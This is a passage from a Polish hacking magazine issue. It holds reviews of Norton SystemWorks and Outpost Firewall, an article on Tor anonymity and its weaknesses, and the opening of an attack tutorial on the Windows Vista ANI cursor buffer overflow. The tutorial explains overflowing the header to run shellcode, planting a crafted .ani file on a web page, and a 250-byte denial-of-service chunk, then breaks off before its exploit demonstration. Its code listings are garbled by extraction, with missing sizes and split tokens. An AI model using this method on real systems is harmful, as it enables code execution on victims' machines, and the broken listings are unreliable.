gólne  programy  mogą  być  uruchomione  bezpośrednio
z dysku CD bez instalacji (Norton CleanUp, Norton Disk
Doctor, Norton WinDoctor).

Po pomyślnej instalacji dostajemy bogaty zestaw

narzędzi gotowych do optymalizacji oraz naprawy nasze-
go systemu. Mówiąc najbardziej ogólnie, możemy podzie-
lić pakiet na Norton Cleanup oraz Norton Utilities. Pierw-
szy  zawiera  aplikacje  pozwalające  na  szybkie  usunię-
cie  plików  tymczasowych,  plików  cookie,  plików  historii
internetowej oraz pamięci podręcznej. Druga grupa jest
znacznie  liczniejsza  i  zawiera  narzędzia  diagnostycz-
no-naprawcze:

• Norton Disk Doctor – narzędzie służące do diagno-

zowania oraz naprawiania problemów dotyczących
dysków twardych,

• Norton System Doctor – monitor systemu, reagują-

cy natychmiast w przypadku wykrycia problemu (za-
równo powiadomieniem użytkownika, jak i – w nie-
których sytuacjach – automatyczną naprawą). Apli-
kacja pozwala na wybór aktywnych czujników nad-
zorujących m. in. dyski twarde, procesor, pamięć
i sieć,

• Norton WinDoctor – bardzo przydatne narzędzie, słu-

żące do rozwiązywania najczęstszych problemów
występujących w systemach z rodziny Windows,

• Speed Disk – doskonałe narzędzie, w pełni zastępują-

ce systemowy defragmentator. Regularne stosowanie
pozwala na znaczne przyspieszenie naszego kompu-
tera oraz zmniejszenie liczby operacji wykonywanych
przez głowicę dysku,

• UnErase Wizard – pozwala na odnalezienie i odzyska-

nie plików chronionych przez pakiet Norton Utilities.

Wspomniany  wcześniej  Norton  GoBack  jest  narzę-
dziem służącym do szybkiego przywrócenia systemu do
wcześniejszego  stanu.  Pozwala  to  na  naprawę  systemu
w  przypadku  groźnej  infekcji  przez  wirusa,  usunięcie
szkód wyrządzonych przez niebezpieczne oprogramowa-
nie lub po prostu odzyskanie ważnych, utraconych danych.
Domyślnie w trakcie instalacji GoBack wymaga przydzie-
lenia przestrzeni równej ok. 10% pojemności dysku twar-
dego, co stanowi dość dużą wartość.

Całość pakietu jest nadzorowana przez usługę LiveUp-

date, która zapewnia uaktualnienia dla wszystkich kompo-
nentów pakietu.

Firma Symantec po raz kolejny stworzyła znakomi-

ty zestaw narzędzi zwiększających bezpieczeństwo i nie-
zawodność sytemu operacyjnego. Pakiet SystemWorks
został wydany w 3 wersjach: Basic Edition, Standard Edi-
tion oraz Premier Edition.

W wersji Standard Edition użytkownik dodatkowo

dostaje ochronę poczty elektronicznej, zabezpieczenie
przed programami typu spyware oraz ochronę plików ścią-
ganych z Internetu (usuwanie niebezpiecznych elemen-
tów). Premier Edition zezwala na tworzenie kopii zapaso-
wych ważnych plików i całych dysków (Norton Ghost).

Pakiet SystemWorks stanowi niezawodne narzędzie do

ochrony systemu operacyjnego oraz danych. Pozwala na
zwiększenie wydajności systemu. Proste i intuicyjne interfej-
sy graficzne stanowią dodatkowy atut. Produkt firmy Syman-
tec jest idealnym rozwiązaniem dla każdego użytkownika
potrzebującego kompleksowej ochrony komputera.

Radosław Matusiak

Producent: Symantec

System: Windows® XP Home/XP Pro/XP Media 2005+

Typ: Narzędzie zabezpieczające

Strona dystrybutora: http://www.softpoint.com.pl

Ocena: 5/5

Norton SystemWorksTM

Basic Edition

Rysunek 1.

Norton SystemWorks Basic Edition

hakin9 Nr 3/2008

Narzędzia

W dobie powszechnie występujących w sieci Internet zagro-
żeń, w celu zapewnienia akceptowalnego poziomu bezpie-
czeństwa stacji roboczej nie wystarczy już tylko posiadanie
zaktualizowanego systemu operacyjnego oraz oprogramo-
wania antywirusowego. Obecnie niezbędne jest również
posiadanie sprawdzonego oprogramowania typu personal
firewall. Jednym z najlepszych dostępnych na rynku progra-
mów jest produkt firmy Agnitum – Outpost Firewall Pro.

Za najważniejsze funkcje programu Outpost Firewall Pro

należy uznać:

• ochrona Anti-Leak – zabezpiecza przed znanymi meto-

dami obchodzenia firewalli. Metody te są często wyko-
rzystywane przez złośliwe oprogramowanie,

• ochrona antyspyware (dostępna jako wtyczka) – spraw-

dza, czy w systemie nie znajduje się oprogramowa-
nie szpiegujące (monitorowane są procesy w pamięci,
rejestr, ciasteczka, programy startowe, pliki systemowe),

• autoochrona – moduł ten jest odpowiedzialny za ochro-

nę pakietu Outpost przed działaniem złośliwego opro-
gramowania, mogącym doprowadzić do jego wyłącze-
nia bądź uszkodzenia,

• ImproveNet – baza reguł tworzona na podstawie infor-

macji zebranych anonimowo od użytkowników, którzy
wyrazili na to zgodę. Umożliwia automatyczne pobranie
reguł i ograniczenie decyzji podejmowanych przez użyt-
kownika do minimum – jest to szczególnie przydatne dla
mało doświadczonych użytkowników komputerów,

• wykrywanie ataków (dostępne jako wtyczka) – system

IDS (ang. Intrusion Detection System), zabezpiecza
przed znanymi metodami ataków,

• ochrona przed wyciekiem danych (dostępna jako wtycz-

ka) – zabezpiecza przed wysyłaniem danych, o których
program wie, że są prywatne (np. numery kart kredy-
towych). Dane, które mają być chronione, należy wcze-
śniej zdefiniować w programie,

• filtrowanie zawartości (dostępne jako wtyczka) – umoż-

liwia blokowanie dostępu do stron internetowych zawie-
rających niepożądane treści,

• mechanizm wtyczek – umożliwia używanie dodatko-

wych modułów. Outpost jest domyślnie zainstalowany
z następującymi wtyczkami: antyspyware, blokowanie
reklam, filtrowanie zawartości (także aktywnej), filtrowa-
nie załączników, pamięć DNS, wykrywanie ataków),

• kontrola komponentów – monitorowane są wszyst-

kie komponenty każdej zarejestrowanej aplikacji (pliki

EXE oraz DLL). Mechanizm ten wykorzystywany jest do
upewnienia się, że komponent aplikacji nie został pod-
mieniony przez złośliwe oprogramowanie.

Outpost Firewall Pro może pracować w pięciu trybach:

• zezwalaj na wszystko – wszystkie połączenia są dozwo-

lone, komputer nie jest chroniony,

• zezwalaj na większość – dozwolone są wszystkie połą-

czenia za wyjątkiem jawnie zadeklarowanych na firewal-
lu jako zablokowane,

• kreator reguł – program pyta użytkownika o zezwolenia

lub zablokowanie każdego nowego połączenia,

• blokuj większość – zablokowane są wszystkie połącze-

nia za wyjątkiem jawnie zadeklarowanych na firewallu
jako dopuszczone,

• blokuj wszystko - komputer jest odłączony od sieci,

wszystkie połączenia są zablokowane.

Outpost Firewall Pro może pracować w tzw. trybie cichym,
który zapewnia ochronę komputera podczas grania w gry
lub oglądania filmów bez wyświetlania komunikatów.

Jedną z największych zalet programu Outpost Fire-

wall  Pro  jest  możliwość  bardzo  szczegółowego  definiowa-
nia reguł dostępu programów do Internetu. Za duży plus pro-
gramu  można  też  uznać  bardzo  przejrzysty  i  gromadzący
dużo informacji dziennik zdarzeń, dzięki któremu jesteśmy
w  stanie  prześledzić  zachowanie  naszego  komputera
w sieci. Z programem otrzymujemy obszerną dokumentację
w języku polskim (110 stron) w postaci pliku PDF oraz roz-
budowaną pomoc, także w języku polskim, dostępną bezpo-
średnio z programu. Instalacja oraz konfiguracja programu
jest bezproblemowa. Ilość zasobów komputera wykorzysty-
wanych przez program w porównaniu do produktów konku-
rencji jest dużo mniejsza.

Opisywany produkt jest jednym z najlepszych tego typu

programów dostępnych na rynku. Jego obsługa jest intuicyj-
na, dla początkujących użytkowników dostępny jest szereg
mechanizmów ułatwiających konfigurację oraz ograni-
czających konieczność podejmowania przez niego decy-
zji. Z kolei zaawansowanym użytkownikom produkt oferuje
bardzo duże możliwości konfiguracyjne oraz w dużym stop-
niu umożliwia dostosowanie działania programu do specy-
ficznych wymagań. W mojej opinii jest to obecnie najlepszy
program typu personal firewall dla systemów Windows.

Radosław Rydel

Outpost Firewall Pro 4.0

Producent: Agnitum Ltd.

System: Windows 98, Windows ME, Windows 2000, Windows XP

Typ: Personal firewall

Strona producenta: http://www.agnitum.com, http://www.outpost.pl, http://www.dagma.pl

Ocena: 5/5

www.hakin9.org

hakin9 Nr 3/2008

Początki

ak  czy  inaczej  zacząć  warto  od  paru
podstawowych  kwestii.  Przede  wszyst-
kim,  co  rozumiemy  pod  pojęciem  anoni-

mowości?  Odpowiedniej  definicji  nie  ma  nieste-
ty  w  normach  poświęconych  bezpieczeństwu
informacji  (choć  czujemy,  że  poczucie  bycia
anonimowym  jakoś  zwiększa  nasze  poczucie
bezpieczeństwa, czasami aż za bardzo). Zazwy-
czaj mówi się, że anonimowość (ang. anonymity)
to cecha uniemożliwiająca identyfikację podmio-
tu – tożsamości osoby lub systemu – oraz unie-
możliwiająca przypisanie kilku różnych działań te-
mu  samemu  podmiotowi.  W  tym  sensie  byłaby
więc anonimowość zaprzeczeniem znanej (choć-
by  z  normy  ISO/IEC  17799)  cechy  rozliczalno-
ści. Czasami wyróżnia się pojęcie pseudonymity,
które oznacza, że jakkolwiek niemożliwe jest okre-
ślenie  tożsamości  działającego,  można  przy-
porządkować  różne  działania  tej  samej  osobie.
Na przykład możemy otrzymać dwa niepodpisa-
ne listy, z których treści wnosimy, że były wysłane
przez tego samego – jednak wciąż nam nieznane-
go – nadawcę.

Oczywiście nasze działania w Internecie nie

są anonimowe. Wszyscy – począwszy od admi-
nistratora pierwszego routera łączącego nas z sie-
cią, a skończywszy na administratorze serwera

WWW, którego strony przeglądamy – są w stanie
odczytać adres IP, spod którego następuje połą-
czenie, spora część protokołów sieciowych wyko-
rzystuje informacje przesyłane otwartym tekstem,
zaś przeglądarki internetowe informują szeroko
odwiedzane serwery nie tylko o tym, z jakiej wer-
sji (także językowej) systemu operacyjnego wła-
śnie korzystamy, ale również na przykład o tym,
z jakiej strony trafiliśmy na bieżący serwer. Oczy-
wiście również administrator DNSa, z którego
usług korzystamy, może bez trudu dowiedzieć się,
jakie adresy były nam potrzebne (o ile oczywiście
nie posługujemy się stale czystymi, numeryczny-
mi adresami IP).

Ponieważ anonimowość jest albo pełna, albo

w ogóle jej nie ma, musimy zadbać o ukrycie infor-
macji zarówno na poziomie sieci lokalnej, jak i od-

Routing cebulowy

Maciej Szmit

stopień trudności

Anonimowość, czy raczej anonimizacja, jest jednym

z najprostszych sposobów zapewnienia sobie dozy prywatności.

Co więcej – sama anonimizacja jest w Polsce działaniem w pełni

zgodnym z prawem – choć tak się składa, że szczególną dbałość

o swoją anonimowość wykazują osoby, które z prawem mają

stosunkowo mało wspólnego.

Z artykułu dowiesz się

• jak anonimowo surfować po Internecie i kiedy ta

anonimowość jest zagrożona.

Co powinieneś wiedzieć

• co to jest model DoD i ISO/OSI.

Routing cebulowy

hakin9 Nr 3/2008

www.hakin9.org

wiedzanych serwerów (a także wszyst-
kich pośredników). Oczywiście, w sie-
ci lokalnej nie uda się nam udawać
na przykład braku aktywności (coś tam
wysyłamy i ściągamy, jakkolwiek może-
my ukryć, co to mianowicie jest), nato-
miast na odwiedzanych serwerach nie
ukryjemy, co zostało pobrane (ale mo-
żemy nie powiedzieć, przez kogo).

Zapewnienie sobie anonimowości

powinno zatem polegać na przynajm-
niej trzech rzeczach:

• przekonaniu naszego lokalne-

go  systemu  (w  tym:  przeglądar-
ki  WWW,  programu  pocztowego,
czytnika  grup  news  itd.,  a  także
systemu  operacyjnego),  żeby  nie
zdradzał zbyt wielu informacji o so-
bie.

• wykorzystaniu połączeń szyfrowa-

nych w celu uniemożliwienia sku-
tecznego podsłuchu.

• wykorzystaniu anonimowego po-

średnika (ang. anonymous pro-
xy), albo – jeszcze lepiej – syste-
mu anonimowych pośredników dla
ukrycia naszego adresu IP.

Na  szczęście  współczesne  metody
szyfrowania  umożliwiają  nam  zesta-
wienie  bezpiecznego,  tj.  zaszyfrowa-
nego, połączenia pomiędzy naszą ma-

szyną (klientem) a pośrednikiem sie-
ciowym. Pytanie tylko, skąd wziąć za-
ufanego pośrednika, co do którego bę-
dziemy mieli pewność, że sam nas nie
podgląda? I tu właśnie z pomocą przy-
chodzi nam TOR.

Pora na TORa

TOR (ang. The Onion Router) jest ze-
społem pośredników służących do tzw.
trasowania cebulowego, które umożli-

wia użytkownikom anonimowy dostęp
do  zasobów  Internetu.  TOR  pozwa-
la  również  na  przeglądanie  stron  blo-
kowanych przez lokalną cenzurę i do-
stawców sieci przy pomocy tzw. ukry-
tych  usług,  które  pozwalają  na  udo-
stępnianie usług (np. stron WWW) bez
potrzeby ujawniania fizycznej lokaliza-
cji serwera.

Klient podczas łączenia się z sie-

cią TOR pobiera listę węzłów od ser-

Tabela 1.

Co i gdzie komu ujawniamy

Warstwa modelu DoD

Co ujawniamy

Jak i komu

Procesów/Aplikacji

Adresy odwiedzanych hostów

Serwerowi DNS, który rozwiązuje
zapytania, wszystkim routerom po-
między nami a DNSem

Szczegóły ustawień przeglądarki
WWW (w tym wersja systemu ope-
racyjnego, adres odwiedzanej ostat-
nio strony, wersja językowa użytkow-
nika)

Serwerowi WWW, który odwiedza-
my, wszystkim routerom pomiędzy
nami a tym serwerem

Adres pocztowy, hasła dostępowe
w protokołach nieszyfrowanych (np
POP3, FTP, telnet)

Serwerom, z których usług korzysta-
my, wszystkim routerom pomiędzy
nami a tymi serwerami

host to host/Transportowa
Internetu

Adres IP

Wszystkim, z którymi się łączymy,
wszystkim routerom pomiędzy na-
mi a serwerem, z którego usług ko-
rzystamy

Dostępu do sieci

Adres MAC

Wszystkim w sieci lokalnej, w szcze-
gólności routerowi znajdującemu się
pomiędzy siecią lokalną a Internetem

Rysunek 1.

Ruch sieciowy przechwycony podczas przęglądania programem

Mozilla

hakin9 Nr 3/2008

www.hakin9.org

Początki

wera  katalogowego,  a  następnie  bu-
duje  sieć  pośredników,  której  struktu-
ra jest dodatkowo dynamicznie przebu-
dowywana co kilka minut. W ten spo-
sób wysyłane informacje, zanim dojdą
do celu, przechodzą przez kolejne war-
stwy cebuli – serwery pośredniczące,
na których przepakowywane są w pa-
kiety,  opatrywane  nowymi  adresami
pochodzenia i dodatkowo szyfrowane.
Sieć pośredników zbudowana jest tak,
że  każdy  z  przekaźników  po  drodze
zna tylko przekaźnik, z którego otrzy-
mał  dane  i  przekaźnik,  któremu  dane
wysyła (dla każdego skoku w obwodzie
używana jest osobna para kluczy, ża-
den z węzłów połączenia nie jest w sta-
nie odtworzyć trasy pakietu). Co więcej,
wstawienie w którejś z warstw wrogie-
go (podsłuchującego) węzła nie umoż-
liwi zazwyczaj identyfikacji użytkowni-
ka (chyba, że będzie to akurat pierw-
szy  węzeł,  połączony  bezpośrednio
z pechowym użytkownikiem).

TOR ma oczywiście swoje ograni-

czenia. Przede wszystkim szyfrowana
jest  komunikacja  TCP,  natomiast  nie
jest to możliwe dla ruchu UDP. Jak się
można  spodziewać,  po  UDP  zazwy-
czaj  przesyłane  są  komunikaty  DNS
(choć  można  to  zmienić),  więc  cała
anonimowość  staje  pod  znakiem  za-
pytania – przynajmniej, dopóki nie uży-
jemy  dodatkowego  oprogramowania,
na  przykład  narzędzia  Privoxy,  które
zresztą  wchodzi  w  skład  pakietu  dys-
trybucyjnego TORa. Po wtóre – z oczy-
wistych  względów  –  szyfrowanie  nie
dotyczy  komunikacji  pomiędzy  ostat-
nim  z  pośredników  (zwanym  węzłem
wyjściowym TORa) a serwerem, z któ-
rego usług chcemy skorzystać. Zwykły
serwer  bowiem  dostarcza  usługi  wy-
łącznie w postaci jawnej (nieszyfrowa-
nej), nie mając pojęcia, czy zgłosił się

do niego węzeł wyjściowy TORa, czy
zwykły użytkownik. Nieco inaczej wy-
gląda to w przypadku serwerów usług
ukrytych, które dostępne są w sieci
TOR i szyfrują swoją komunikację od
początku do końca.

Sytuacja taka powoduje, że nie

możemy mówić o zapewnieniu pełnej
anonimowości.  Odpowiednie  insty-
tucje  mogą  monitorować  aktywność
całej  sieci,  w  tym  serwera,  a  także
ruch wychodzący z podejrzanych wę-
złów TORa i próbować skorelować go
ze sobą (tzw. atak end-to-end timing).
Wielki Brat musi być w tym wypadku
rzeczywiście całkiem spory, najlepiej

bowiem byłoby, żeby mógł monitoro-
wać ruch w całej sieci (albo na przy-
kład  w  całym  państwie).  Co  więcej
– wrogi węzeł wyjściowy może skie-
rować  komunikację  do  niewłaściwe-
go  (podstawionego)  serwera.  Oczy-
wiście, ponieważ – jak już wspomnia-
no – trasa jest dobierana według spe-
cjalnego algorytmu i okresowo zmie-
niana, zaś lista węzłów pobierana jest
z serwera katalogowego, prawdopo-
dobieństwo  takiego  zdarzenia  jest
stosunkowo  niewielkie  –  należy  jed-
nak zachować ostrożność. Na szczę-
ście  TOR  umożliwia  również  ręczne
skonfigurowanie węzła wyjściowego.

Co to jest pośrednik (proxy)

Pośrednik (ang. proxy) jest to urządzenie działające w IV i wyższych warstwach mode-
lu referencyjnego ISO/OSI. To, co odróżnia proxy od routera, to fakt, że proxy ustanawia
osobne połączenie (obwód wirtualny TCP) w imieniu swojego klienta, zaś router – jedynie
trasuje datagramy IP przekładając je w ramki zaadresowane do kolejnego routera. W ten
sposób odbiorca pakietów będzie oczywiście widział adres komputera klienckiego, a nie
żadnego z routerów po drodze. W przypadku pośrednika – na serwerze zostanie zauwa-
żony adres tego ostatniego, bowiem to on nawiązuje połączenie. W przypadku routera z
funkcją sNAT (podmieniającego źródłowy adres IP w pakietach wychodzących z sieci na
własny), na serwerze będzie widoczny adres publicznego interfejsu NATa.

W Sieci

•   http://www.torproject.org,
•   http://www.torrify.com,
•   http://www.showmyip.com/torstatus/.

Rysunek 2.

Ruch sieciowy

Torpachem

Rysunek 3.

Różnice między routerem a pośrednikiem

��

Routing cebulowy

hakin9 Nr 3/2008

www.hakin9.org

TOR dla opornych

Najprostszą metodą skorzystania z TO-
Ra jest zainstalowanie opartej na Mozilli
aplikacji XeroBank Browser (wcześniej-
sza nazwa Torpark), dostępnej pod ad-
resem http://www.torrify.com. Przeglą-
darka ta ma wbudowanego klienta sieci
TOR, którego wykorzystuje do łączenia
się  z  odwiedzanymi  stronami  WWW.
Co  istotne,  program  ten  anonimizuje
również ruch DNS, dzięki czemu pod-
słuchujący  widzi  jedynie  czysty  stru-
mień  TCP  skierowany  od  naszej  ma-
szyny do wejściowego węzła TORa.

Temat deanonimizacji TORa po-

wraca  regularnie  przy  różnych  oka-
zjach.  Na  szczęście  TOR  jest  pomy-
ślany  i  zrealizowany  dość  porządnie,
a poruszające wieści okazują się czę-
sto niewypałami. No, może nie tyle nie-
wypałami,  co  hakowaniem  ludzi  za-
miast  technologii.  Dla  przykładu:  wy-
starczy  uruchomić  kilka  wrogich  wę-
złów  TORa  z  logowaniem  ruchu  sie-
ciowego,  żeby  po  odpowiednim  cza-
sie zdobyć hasła użytkowników, którzy
uwierzyli,  że  transmisja  haseł  SMTP
czy FTP staje się po użyciu TORa bez-
pieczna. Z uwagi na sposób działania
algorytmu wyboru ścieżki TORa, wro-
gi węzeł stanie się wcześniej czy póź-
niej  dla  kogoś  węzłem  końcowym,
a – jak pamiętamy – ruch od końcowe-
go węzła do serwera nie jest szyfrowa-
ny. Choć wydaje się to dziwne, meto-
da ta rzeczywiście działa – w 2007 ro-

ku pewien szwedzki dziennikarz opubli-
kował listę haseł 100 VIPów korzystają-
cych w ten sposób z TORa. Innym spo-
sobem, wymyślonym przez H.D. Mo-
ore’a  (tego  od  Metasploita),  jest  wy-
korzystanie  rozlicznych  pluginów,  od
których roi się w przeglądarkach: mo-
że da się jakoś przekonać oprogramo-
wanie obsługujące JavaScript czy Fla-
sha, żeby jednak podało prawdziwe IP
przeglądarki?  Oczywiście,  jeśli  zale-
ży  nam  na  anonimowości,  to  można
(trzeba!)  te  wszystkie  dodatki  powy-
łączać. Istnieją też serwisy, w których
można  sprawdzić,  co  nasza  przeglą-
darka pokazuje na zewnątrz – również
w odniesieniu do obsługi skryptów. Na
przykład możemy to uczynić na stronie
http://www.showmyip.com/torstatus.

Jeśli chcemy zanonimizować coś

więcej  niż  tylko  przeglądarkę,  powin-
niśmy sięgnąć po wersję instalacyjną
TORa. W skład pakietu instalacyjnego
TORa  dla  Windows  wchodzi  (oprócz
klienta  sieci  TOR)  wspomniane  już
Privoxy (serwer proxy odpowiadający,
oprócz  wspomnianej  wcześniej  ano-
nimizacji żądań DNS, za obsługę co-
okies, filtrowanie treści i bannerów na
stronach WWW), Vidalia (odpowiada-
jąca  za  konfigurację  poszczególnych
komponentów  i  dodatkowo  chronią-
ca komputer) oraz Torbutton – doda-
tek do Mozilli umożliwiający łatwe włą-
czanie i wyłączanie TORa. Wszystko
razem możemy ściągnąć (oczywiście
bezpłatnie)  ze  stron  projektu  TOR:
http://www.torproject.org.  W  tym  sa-
mym  miejscu  możemy  znaleźć  do-
kładne informacje o sposobie instalacji
pakietu (po polsku i w paru innych ję-
zykach). W zasadzie (jeśli nie zamie-
rzamy  sami  zostawać  węzłem  cebu-
li) wszystko sprowadza się do użycia
zupełnie oczywistego kreatora. Jedy-

nym drobiazgiem jest to, że po zakoń-
czeniu  instalacji  i  uruchomieniu  TO-
Ra, Vidalii i Privoxy musimy skonfigu-
rować  aplikacje  sieciowe,  aby  korzy-
stały z pośrednika (czyli właśnie pro-
gramu Privoxy). Na przykład w Mozilli
(o  ile  nie  zainstalowaliśmy  aplika-
cji TORbutton) musimy wybrać z me-
nu  odpowiednio  opcje:  Narzędzia  –>
Opcje –> Zaawansowane –> Sieć –>
Ustawienia  –>  Ręczna  konfiguracja
serwerów proxy i w edytorze Serwer
proxy  HTTP  podać  adres  127.0.0.1
i port 8118. Bez tego ruch sieciowy ge-
nerowany przez nas nie będzie oczy-
wiście przechodził przez TORa, pozo-
stanie więc niezaszyfrowany i nie ano-
nimizowany.

Na koniec warto wspomnieć o pod-

stawowym mankamencie TORa: spo-
walnianiu  łączności.  Oczywiście  sto-
pień  spowolnienia  zależy  od  tego,  ja-
kie  węzły  będą  pośredniczyły  w  na-
szej  komunikacji,  niemniej  wrażenie
bywa  przytłaczające  –  zwłaszcza,  je-
śli  dysponujemy  porządnym  łączem
internetowym.  Dla  przykładu,  w  cza-
sie  pisania  tego  artykułu  zmierzyłem
prędkość  pobierania  za  pomocą  ser-
wisu  www.numion.org  dla  połącze-
nia  nieanonimizowanego  i  anonimi-
zowanego.  Wynosiła  ona  odpowied-
nio  około  30  Mbps  (sieć  akademic-
ka  –  Fast  Ethernet  do  sieci  kampu-
sowej  i  dalej  światłowód  do  NASKu)
oraz w okolicach 50 kbps. Przy mniej-
szych  szerokościach  pasma  różnice
nie są aż tak drastyczne, niemniej ce-
ną za prywatność jest w tym wypad-
ku  pogorszenie  komfortu  pracy.  Ale
w informatyce jak w życiu (a może na-
wet bardziej) – nic za darmo.

Podsumowanie

TOR  jest  interesującym  (i  dość  sku-
tecznym) sposobem zapewniania pry-
watności  poprzez  anonimizację  swo-
ich  działań  w  Sieci.  Jego  najsłabszy-
mi  punktami  są  niewątpliwie:  znacz-
ne  spowolnienie  prędkości  transmisji
danych  oraz  konieczność  dokładnego
skonfigurowania  wszystkich  elemen-
tów  systemu,  które  mogłyby  zdradzić
tożsamość  użytkownika.  Na  pytanie,
czy konieczność myślenia jest poważ-
nym problemem, każdy musi odpowie-
dzieć sobie sam. l

O autorze

Maciej Szmit jest adiunktem w Kate-
drze Informatyki Stosowanej
Politechniki Łódzkiej.
Kontakt z autorem:
maciej.szmit@gmail.com

Rysunek 4.

Zasady działania sieci TOR

��

www.hakin9.org

hakin9 Nr 3/2008

Atak

styczniu  2007  roku  koncern  z
Redmond  zaprezentował  użyt-
kownikom  swój  nowy  produkt

– system operacyjny Windows NT 6.0, zwany
Vistą.  Według  twórców  cechował  się  on  ład-
niejszą oprawą graficzną, większą wygodą ob-
sługi, a przede wszystkim – znacznie polepszo-
nym bezpieczeństwem. W tym celu zmieniono
kilka istotnych elementów systemu, rozprowa-
dzano  wraz  z  systemem  przeglądarkę  Inter-
net Explorer 7 oraz oprogramowanie Windows
Defender.  Wprowadzono  też  szereg  ułatwień
mających  poprawić  komfort  pracy  na  koncie
z ograniczonymi prawami. Jednak nawet mimo
podjętego wysiłku nie uchroniono systemu od
błędów. Jednym z nich jest opisywana podat-
ność – przepełnienie bufora związane z animo-
wanym kursorem.

ANI i RIFF, czyli co czym się je

Wszystkie  animowane  kursory  znajdują  się
w plikach o rozszerzeniu .ani, np. dinozaur.ani.
Format  .ani  jest  odmianą  formatu  RIFF  firmy
Microsoft.  RIFF  (ang.  Resource  Interchange
File Format – format wymiany informacji o za-
sobach)  określa  sposób  zapisywania  danych
do pliku. Informacje są rozdzielone od siebie

odpowiednimi  elementami,  zwanymi  tagami
(można  je  porównać  do  znaczników  w  języ-
ku  HTML).  Dodatkowo  elementy  są  podzie-
lone na kawałki (ang. chunks), z których każ-
dy  zawiera  jakąś  porcję  danych.  Przyjrzyjmy
się nieco bliżej strukturze związanej z plikiem
o  rozszerzeniu  .ani.  Jest  ona  przedstawiona
na Listingu 1.

Struktura

ANIHeader

, jak sama nazwa

wskazuje, jest nagłówkiem, który opisuje da-
ną porcję informacji (czyli

ANIChunk

). Zawiera

podstawowe informacje niezbędne dla takiego

Hakowanie Visty

Konrad Zuwała

stopień trudności

Windows Vista był przez firmę Microsoft zapowiadany, jako

całkowita rewolucja w bezpieczeństwie systemów operacyjnych.

Jednak czas pokazał, że jest to tylko iluzja, a w Viście znajdowane

są kolejne błędy. Czy Vista rzeczywiście jest tak bezpieczna, jak

zapewnia jej producent?

Z artykułu dowiesz się

• w jaki sposób wykorzystać poważny błąd Win-

dows Vista tak, aby wykonać własny kod,

• w jaki sposób przeprowadzić atak DoS na plat-

formie Vista.

Co powinieneś wiedzieć

•   umieć programować w C,
•   znać podstawy WinAPI,
•   umieć korzystać z narzędzi debugujących,
•   znać podstawy asemblera.

Hakowanie Visty

hakin9 Nr 3/2008

www.hakin9.org

pliku. Bardziej interesującą jest do-
celowa porcja danych, czyli struktu-
ra

ANIChunk

. Zawiera ona 3 zmienne,

z których nas interesują w zasadzie
dwie:

tag

data

. Rozmiar danych za-

pisywanych do struktury

ANIHeader

nie może być większy niż 36 bajtów,
w  przeciwnym  wypadku  będzie-
my mieli do czynienia z przepełnie-
niem bufora, które pozwoli nam wy-
konać  dowolny  shellcode  na  kom-
puterze  ofiary.  Zatem  spreparowa-
na  struktura  musi  mieć  więcej  baj-

tów niż przewiduje specyfikacja, na-
tomiast tablica

data

musi zawierać

offset (ciąg instrukcji o pewnej okre-
ślonej długości, które nic nie robią),
a następnie shellcode, który zosta-
nie  wykonany  przez  Eksploratora
Windows.  Ten,  aby  odczytać  dany
plik z animacją, ikoną lub inną por-
cją  danych  multimedialnych  (czyli
zapisanych  w  formacie  RIFF  bądź
ANI),  otworzy  nasz  plik,  a  następ-
nie za pomocą odpowiednich funkcji
WinAPI  zacznie  obrabiać  jego  za-

wartość. To umożliwi nam wykona-
nie kodu exploita. Najpierw jednak
musimy poznać funkcję Windows,
która jest za to odpowiedzialna.

Przepełnienie

bufora funkcji

Kod funkcji zaprezentowany jest na
Listingu 2. Najpierw odczytywany
jest tag, a następnie – w zależno-
ści jego zawartości dokonywane są
odpowiednie operacje. W przypad-
ku, gdy tag to

anih

(skrót od .ani he-

ader),  następuje  odczytanie  chun-
ku,  czyli  docelowej  porcji  danych
– w której to zostanie umieszczony
nasz shellcode. Jedyne, co musimy
jeszcze zrobić, to wyznaczyć wiel-
kość  tzw.  offsetu,  czyli  przesunię-
cia  w  stosunku  do  nadpisywanego
adresu powrotu z bieżącej funkcji.

Przepełnienie bufora w tym

przypadku  zaowocuje  wykona-
niem  naszego  kodu  przez  Eks-
ploratora  Windows.  A  ściślej  mó-
wiąc  –  kod  zostanie  wykonany
w  kontekście  Eksploratora,  po-
przez  podłączenie  się  do  tego
procesu.  Wadą  takiego  rozwiąza-
nia jest to, iż Eskplorator Windows
działa  w  kontekście  użytkownika,
który go aktualnie uruchomił. Gdy
jest to użytkownik z ograniczenia-
mi,  wtedy,  mając  tak  ograniczone
prawa dostępu, nie możemy zrobić
praktycznie nic ciekawego. Jednak
niedobrą praktyką wśród użytkow-
ników  systemu  Windows  stało  się
stałe  korzystanie  z  konta  admini-
stracyjnego,  co  wydatnie  obniża
bezpieczeństwo  systemu  opera-
cyjnego.

Aby Eksplorator Windows wy-

konał  nasz  kod,  jedyne,  co  musi-
my  zrobić  to  po  prostu  umieścić
odpowiednio  spreparowaną  ikon-
kę (czyli nasz plik z rozszerzeniem
.ani)  na  stronie  internetowej  bądź
w folderze na atakowanym kompu-
terze  –  tak,  aby  ofiara  odwiedzi-
ła  tę  lokalizację  i  otworzyła  spre-
parowany plik. Naturalnym wydaje
się więc umieszczenie danego pli-
ku  (a  raczej  grupy  plików  –  o  tym
za  chwilę)  na  stronie  internetowej
i czekanie, aż nasza ofiara odczy-
ta zawartość fałszywego pliku.

Listing 1.

Struktury związane z formatem pliku .ani

struct

ANIChunk

{

char

tag

[

];

tag

ASCII

DWORD

size

;

rozmiar

danych

bajtach

char

data

[

size

];

dane

}

struct

ANIHeader

{

DWORD

rozmiar

ilo

ść

bajt

nag

łó

wku

(

bajt

)

DWORD

rIkony

;

ilo

ść

unikatowych

ikon

DWORD

kroki

;

ilo

ść

operacji

bitowych

nim

zacznie

animacja

DWORD

;

zarezerwowane

musz

ustawione

zero

DWORD

lbit

lcnt

;

jak

DWORD

licznikSzybkosc

;

licznik

sekundy

nie

ustawiono

inaczej

DWORD

flagi

;

flagi

animacji

}

Listing 2.

Funkcja LoadAniIcon

int

LoadAniIcon

(

struct

MappedFile

file

, ...

)

{

struct

ANIChunk

chunk

;

struct

ANIHeader

header

;

bajtowa

struktura

...

while

(

)

{

czytaj

pierwsze

bajt

ReadTag

(

file

chunk

);

switch

(

chunk

tag

)

{

case

seq

...

case

LIST

...

case

rate

...

case

anih

ReadChunk

(

file

chunk

header

);

Listing 3.

Spreparowana struktura ANIChunk – wstęp do zawieszenia

systemu Windows

struct

ANIChunk

{

char

tag

[

”

anih

”

;

DWORD

size

250

;

char

data

[

size

”

AAAA

.....

AAA

”

;

250

razy

litera

}

ani

;

hakin9 Nr 3/2008

www.hakin9.org

Atak

Demonstracja exploita

